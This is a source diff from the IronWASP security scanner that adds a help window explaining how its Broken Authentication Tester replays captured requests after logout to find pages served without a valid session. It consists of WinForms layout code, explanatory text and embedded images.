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 + + + \ No newline at end of file diff --git a/IronWASP/Doc.cs b/Iron/Doc.cs similarity index 100% rename from IronWASP/Doc.cs rename to Iron/Doc.cs diff --git a/Iron/Docs/DocForBrokenAuthTester.Designer.cs b/Iron/Docs/DocForBrokenAuthTester.Designer.cs new file mode 100644 index 0000000..cb2ee3a --- /dev/null +++ b/Iron/Docs/DocForBrokenAuthTester.Designer.cs @@ -0,0 +1,247 @@ +namespace IronWASP.Docs +{ + partial class DocForBrokenAuthTester + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(DocForBrokenAuthTester)); + this.label1 = new System.Windows.Forms.Label(); + this.tabControl1 = new System.Windows.Forms.TabControl(); + this.tabPage1 = new System.Windows.Forms.TabPage(); + this.pictureBox1 = new System.Windows.Forms.PictureBox(); + this.label2 = new System.Windows.Forms.Label(); + this.tabPage2 = new System.Windows.Forms.TabPage(); + this.pictureBox2 = new System.Windows.Forms.PictureBox(); + this.label3 = new System.Windows.Forms.Label(); + this.pictureBox8 = new System.Windows.Forms.PictureBox(); + this.label8 = new System.Windows.Forms.Label(); + this.tabPage3 = new System.Windows.Forms.TabPage(); + this.pictureBox3 = new System.Windows.Forms.PictureBox(); + this.pictureBox9 = new System.Windows.Forms.PictureBox(); + this.label4 = new System.Windows.Forms.Label(); + this.tabControl1.SuspendLayout(); + this.tabPage1.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit(); + this.tabPage2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox2)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox8)).BeginInit(); + this.tabPage3.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox3)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox9)).BeginInit(); + this.SuspendLayout(); + // + // label1 + // + this.label1.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label1.Location = new System.Drawing.Point(12, 5); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(860, 169); + this.label1.TabIndex = 6; + this.label1.Text = resources.GetString("label1.Text"); + // + // tabControl1 + // + this.tabControl1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.tabControl1.Controls.Add(this.tabPage1); + this.tabControl1.Controls.Add(this.tabPage2); + this.tabControl1.Controls.Add(this.tabPage3); + this.tabControl1.Location = new System.Drawing.Point(1, 178); + this.tabControl1.Margin = new System.Windows.Forms.Padding(0); + this.tabControl1.Name = "tabControl1"; + this.tabControl1.Padding = new System.Drawing.Point(0, 0); + this.tabControl1.SelectedIndex = 0; + this.tabControl1.Size = new System.Drawing.Size(882, 383); + this.tabControl1.TabIndex = 7; + // + // tabPage1 + // + this.tabPage1.Controls.Add(this.pictureBox1); + this.tabPage1.Controls.Add(this.label2); + this.tabPage1.Location = new System.Drawing.Point(4, 22); + this.tabPage1.Name = "tabPage1"; + this.tabPage1.Padding = new System.Windows.Forms.Padding(3); + this.tabPage1.Size = new System.Drawing.Size(874, 357); + this.tabPage1.TabIndex = 0; + this.tabPage1.Text = " STEP 1 "; + this.tabPage1.UseVisualStyleBackColor = true; + // + // pictureBox1 + // + this.pictureBox1.Image = ((System.Drawing.Image)(resources.GetObject("pictureBox1.Image"))); + this.pictureBox1.Location = new System.Drawing.Point(112, 87); + this.pictureBox1.Name = "pictureBox1"; + this.pictureBox1.Size = new System.Drawing.Size(622, 171); + this.pictureBox1.TabIndex = 6; + this.pictureBox1.TabStop = false; + // + // label2 + // + this.label2.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label2.Location = new System.Drawing.Point(8, 9); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(860, 62); + this.label2.TabIndex = 5; + this.label2.Text = resources.GetString("label2.Text"); + // + // tabPage2 + // + this.tabPage2.Controls.Add(this.pictureBox2); + this.tabPage2.Controls.Add(this.label3); + this.tabPage2.Controls.Add(this.pictureBox8); + this.tabPage2.Controls.Add(this.label8); + this.tabPage2.Location = new System.Drawing.Point(4, 22); + this.tabPage2.Name = "tabPage2"; + this.tabPage2.Padding = new System.Windows.Forms.Padding(3); + this.tabPage2.Size = new System.Drawing.Size(874, 357); + this.tabPage2.TabIndex = 1; + this.tabPage2.Text = " STEP 2 "; + this.tabPage2.UseVisualStyleBackColor = true; + // + // pictureBox2 + // + this.pictureBox2.Image = ((System.Drawing.Image)(resources.GetObject("pictureBox2.Image"))); + this.pictureBox2.Location = new System.Drawing.Point(21, 130); + this.pictureBox2.Name = "pictureBox2"; + this.pictureBox2.Size = new System.Drawing.Size(841, 227); + this.pictureBox2.TabIndex = 15; + this.pictureBox2.TabStop = false; + // + // label3 + // + this.label3.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label3.Location = new System.Drawing.Point(7, 91); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(860, 38); + this.label3.TabIndex = 14; + this.label3.Text = resources.GetString("label3.Text"); + // + // pictureBox8 + // + this.pictureBox8.Image = ((System.Drawing.Image)(resources.GetObject("pictureBox8.Image"))); + this.pictureBox8.Location = new System.Drawing.Point(39, 25); + this.pictureBox8.Name = "pictureBox8"; + this.pictureBox8.Size = new System.Drawing.Size(690, 62); + this.pictureBox8.TabIndex = 13; + this.pictureBox8.TabStop = false; + // + // label8 + // + this.label8.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label8.Location = new System.Drawing.Point(7, 4); + this.label8.Name = "label8"; + this.label8.Size = new System.Drawing.Size(860, 23); + this.label8.TabIndex = 12; + this.label8.Text = "After providing all input click the \'Find Suitable Candidates for Testing\' button" + + ".\r\n"; + // + // tabPage3 + // + this.tabPage3.Controls.Add(this.pictureBox3); + this.tabPage3.Controls.Add(this.pictureBox9); + this.tabPage3.Controls.Add(this.label4); + this.tabPage3.Location = new System.Drawing.Point(4, 22); + this.tabPage3.Name = "tabPage3"; + this.tabPage3.Size = new System.Drawing.Size(874, 357); + this.tabPage3.TabIndex = 2; + this.tabPage3.Text = " STEP 3 "; + this.tabPage3.UseVisualStyleBackColor = true; + // + // pictureBox3 + // + this.pictureBox3.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.pictureBox3.Image = ((System.Drawing.Image)(resources.GetObject("pictureBox3.Image"))); + this.pictureBox3.Location = new System.Drawing.Point(30, 228); + this.pictureBox3.Name = "pictureBox3"; + this.pictureBox3.Size = new System.Drawing.Size(822, 126); + this.pictureBox3.TabIndex = 14; + this.pictureBox3.TabStop = false; + // + // pictureBox9 + // + this.pictureBox9.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.pictureBox9.Image = ((System.Drawing.Image)(resources.GetObject("pictureBox9.Image"))); + this.pictureBox9.Location = new System.Drawing.Point(30, 138); + this.pictureBox9.Name = "pictureBox9"; + this.pictureBox9.Size = new System.Drawing.Size(822, 84); + this.pictureBox9.TabIndex = 13; + this.pictureBox9.TabStop = false; + // + // label4 + // + this.label4.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label4.Location = new System.Drawing.Point(7, 7); + this.label4.Name = "label4"; + this.label4.Size = new System.Drawing.Size(860, 128); + this.label4.TabIndex = 12; + this.label4.Text = resources.GetString("label4.Text"); + // + // DocForBrokenAuthTester + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.BackColor = System.Drawing.Color.White; + this.ClientSize = new System.Drawing.Size(884, 561); + this.Controls.Add(this.tabControl1); + this.Controls.Add(this.label1); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.MaximumSize = new System.Drawing.Size(900, 600); + this.MinimumSize = new System.Drawing.Size(900, 600); + this.Name = "DocForBrokenAuthTester"; + this.Text = "How to test for Broken Authentication"; + this.tabControl1.ResumeLayout(false); + this.tabPage1.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit(); + this.tabPage2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox2)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox8)).EndInit(); + this.tabPage3.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox3)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox9)).EndInit(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Label label1; + private System.Windows.Forms.TabControl tabControl1; + private System.Windows.Forms.TabPage tabPage1; + private System.Windows.Forms.PictureBox pictureBox1; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.TabPage tabPage2; + private System.Windows.Forms.TabPage tabPage3; + private System.Windows.Forms.PictureBox pictureBox2; + private System.Windows.Forms.Label label3; + private System.Windows.Forms.PictureBox pictureBox8; + private System.Windows.Forms.Label label8; + private System.Windows.Forms.PictureBox pictureBox3; + private System.Windows.Forms.PictureBox pictureBox9; + private System.Windows.Forms.Label label4; + } +} \ No newline at end of file diff --git a/Iron/Docs/DocForBrokenAuthTester.cs b/Iron/Docs/DocForBrokenAuthTester.cs new file mode 100644 index 0000000..131a0c0 --- /dev/null +++ b/Iron/Docs/DocForBrokenAuthTester.cs @@ -0,0 +1,46 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Text; +using System.Windows.Forms; + +namespace IronWASP.Docs +{ + public partial class DocForBrokenAuthTester : Form + { + static DocForBrokenAuthTester DocWindow = null; + + public DocForBrokenAuthTester() + { + InitializeComponent(); + } + + internal static void OpenWindow() + { + if (!IsWindowOpen()) + { + DocWindow = new DocForBrokenAuthTester(); + DocWindow.Show(); + } + DocWindow.Activate(); + } + + static bool IsWindowOpen() + { + if (DocWindow == null) + { + return false; + } + else if (DocWindow.IsDisposed) + { + return false; + } + else + { + return true; + } + } + } +} diff --git a/Iron/Docs/DocForBrokenAuthTester.resx b/Iron/Docs/DocForBrokenAuthTester.resx new file mode 100644 index 0000000..82513b5 --- /dev/null +++ b/Iron/Docs/DocForBrokenAuthTester.resx @@ -0,0 +1,2757 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + Certain sections of the website are only accessible after a successful authentication. But sometimes developers make a mistake in enforcing this restriction properly across the site. As a result a section of the site that should only be accessible after authentication might be served to an unauthenticated user as well. +The Broken Authentication Tester feature of IronWASP can be used to find sections of the site where the authentication restriction is not properly enforced. +To use this feature the user must first use a browser with IronWASP configured as proxy to browse through the sections of the site that are beyond that login page and finally logout of the application. Once all this traffic is captured in IronWASP, the user can select the Requests that belong to the authenticated section of the site, then reissue these Requests again. Since you have already logged out of the session the application must respond differently to these requests since they belong to the expired session. To check if the application is infact responding differently to these requests we compare the responses of requests sent after logout to the responses of the requests in the logs which were sent when the session as valid. + + + + + iVBORw0KGgoAAAANSUhEUgAAAm0AAACpCAIAAAD2j51iAAAABGdBTUEAALGPC/xhBQAAAAlwSFlzAAAO + wQAADsEBuJFr7QAAIe9JREFUeF7tnb+vJMdxx+8vkP4BJwYMCGAgBSYB8gLpP5ByETomh5cJMsRcB+gH + M4IvdUQqEc+gAUEQ8KCACSNSgkCBmQzCJBjYFm1LJykTTOC5uqu6urq6Z7ZndmZ3Zvf7QWO3urq6uqd7 + t79v9vbee3APAAAAgLlARwEAAID5QEcBAACA+UBHAQAAgPlARwEAAID5QEcBAACA+UBHAQAAgPlARwEA + AID5QEcBAACA+UBHAQDgPPwruAigowAAcB7oCP4z2D/QUQAAOA+ko8/A/oGOAgDAeYCOXgbQUQAAOA+k + o38C+6fU0Y9vHz7I3NyJez6U8OHtx1KZhZnSAvNpcXczIfmE4OOvfTZDQ59xSjX1ZDqmN2mzQsIQzhxK + vdTihCl2JNrUXgzDC16w0vvwKoGOXgaVjup7e8b7vO5y7GFB7+LUn1Kt8g6mIfrTpuCe6+KYY1dgFkND + D01mjUkOzUHpn15m0mbFhBp/MPnh0bsIU7y5Gcyko8wbbkb3I0cUpqz8MiNeBaSjf1yD3/7kBfmpJ/DC + T34r/hGoSx1n8rzyL+KbRp22OVCFvYI5Qw+N0jf6VIZ1dOqZ1eTIN9IJ3oeThlgveFmGhp7qP56RzHXT + wWlMnSfF59fwodfz1ORtKAuNcjcopDrKvOFm9FrmumbpKDgE6ej/rsFvfvzCCz/+jVSqapNGzNNHD5KL + Wh88ehrNAu41kr9uGglOhNFyDE2jOfYoQxMbGr1jViMcuh8Nj/TTNf1McHNHNv94wO+oUE3RbN+l7jky + fcSVPTqAQG9QpXqn2jGU3EPic/I0MZlz8hQxNp+m0isqq3rtLjg0yc3WbZHCJolD9UdGX8Jfo1+l/qFr + v8+Wmn2wzEkdUk8UfqpoM9vhMe1CbGpdQrlNmoQMdhdjmvWnWo7RvnazIiEmVTm5DWtk4NHiQM2ZxBi/ + 7BYKCN6UK+dk2yxIMxU5xdEcLjWn7jFzXldOMri52iX5pEf0j11UgLKalpxBJqGOeAqIJSM28+cMmuMa + OZGO9tAvOTUjkXPS9g88zFCOqf4+Rv59NL66g4df5sHi94Ba9N4q2ugp1HNkipCGgDE97aaQLc/HJpfs + 2SNWeJJEqY2eU2pjBnI1xaoVnmyoCWYjBEiX1BRc4tHZHYwUj2Ka8honODiE9A1d+6MpcIxEat00hT6x + t0kTKf2mX5HT+hVtSpcQTLIk2PQxZiBXpUe2wpMNjQSnEltzWCtDaLFrJK5shlDpZRsV8mnO0Ghj2FYP + GY0dTNEa7GI0RIwQIQH17h7qIlZ4cjOpSdsdMEFiDrwY2AhOl5/jrOdKIR39nzX4dVCFX0slVePjj+nm + LvLoaWoSxwO6BcxdAqGt8Nm0OeejR5wiNoWbx0QYwgbwmJqEDHa7gTWgpJX50OU0xmrOMzX7YJmHOqRe + MfK5bkQ9tsk7U52f60h65FkI2hyxrWVLAZ8SNjnTHM56+I0tAzAmhQa7Xi4P44LHu1hPTyTbhKsy5JTJ + x+nX3Yc8tZ8NyVVms/4At4kVUyilXzOobR/VH3pEGk3p/LVhAQ0yo7i+3MsECiGVnv7xrB/PwANavWCP + 